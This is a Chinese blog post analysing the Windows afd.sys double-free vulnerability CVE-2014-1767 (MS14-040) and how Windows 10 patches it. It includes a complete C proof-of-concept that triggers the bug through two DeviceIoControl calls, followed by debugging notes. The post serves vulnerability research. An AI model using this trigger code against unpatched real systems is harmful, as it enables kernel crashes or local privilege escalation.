其他分享
首页 > 其他分享> > CVE-2014-1767(MS14-040)漏洞分析

CVE-2014-1767(MS14-040)漏洞分析

作者:互联网

0x00漏洞信息

分析系统:win7 sp1

漏洞文件:afd.sys

漏洞名称:Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability

漏洞类型:本地权限提升

0x01漏洞分析

这是一个Double free 漏洞 把Double free 转换成 uaf  漏洞 简单点就是 释放重引用

漏洞位置在  前面是控制码  后面是对应的函数

0x1207F:afd!AfdTransmitFile

0x120C3:afd!AfdTransmitPackets

逐步分析这2个函数 漏洞原因  详细文章已经很多了 就不在分析了 可以看下面地址的应该是网上写的最详细的

https://www.cnblogs.com/flycat-2016/p/5450275.html

https://www.cnblogs.com/flycat-2016/p/5450328.html

这里看一下 win10修复措施 根据poc 调试一下看如何修复的 

调试的操作系统是 win10  64位 21h2

poc

#include<windows.h>
#include<stdio.h>
//#include <ws2def.h>
#pragma comment(lib,"WS2_32.lib")

int main()
{
    DWORD targetSize = 0x310;
    DWORD virtualAddress = 0x13371337;
    DWORD mdlSize = (0x4000 * (targetSize - 0x30) / 8) - 0xFFF0 - (virtualAddress & 0xFFF);
    static DWORD inbuf1[100];
    memset(inbuf1, 0, sizeof(inbuf1));
    inbuf1[6] = virtualAddress;
    inbuf1[7] = mdlSize;
    inbuf1[10] = 1;
    static DWORD inbuf2[100];
    memset(inbuf2, 0, sizeof(inbuf2));
    inbuf2[0] = 1;
    inbuf2[1] = 0x0AAAAAAA;
    WSADATA WSAData;
    SOCKET s;
    sockaddr_in sa;
    int ierr;
    WSAStartup(0x2, &WSAData);
    s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    memset(&sa, 0, sizeof(sa));
    sa.sin_port = htons(135);
    sa.sin_addr.S_un.S_addr = inet_addr("127.0.0.1");
    sa.sin_family = AF_INET;
    ierr = connect(s, (const struct sockaddr*)&sa, sizeof(sa));
    static char outBuf[100];
    DWORD bytesRet;
    __debugbreak();
    DeviceIoControl((HANDLE)s, 0X1207F, (LPVOID)inbuf1, 0x40, outBuf, 0, &bytesRet, NULL);
    DeviceIoControl((HANDLE)s, 0X120C3, (LPVOID)inbuf2, 0x18, outBuf, 0, &bytesRet, NULL);
    return 0;
}

在AfdTransmitPackets和AfdTransmitFile 下断点看  判断是否是32位

 

 

 32位长度不能小于0x30 64位传入长度不能小于0x40  

 

 3环地址验证

 

接着创建tpinfo

 

 

后面就是调用报错 在释放后  关键点 count被清除

 

 

 

 接着就是AfdTransmitPackets 调试 长度限制

 

 让后就是 关键判断了  count已经被清除不会走释放代码

 

标签:MS14,DWORD,漏洞,inbuf2,inbuf1,2014,sa,CVE,sizeof
来源: https://www.cnblogs.com/feizianquan/p/15972648.html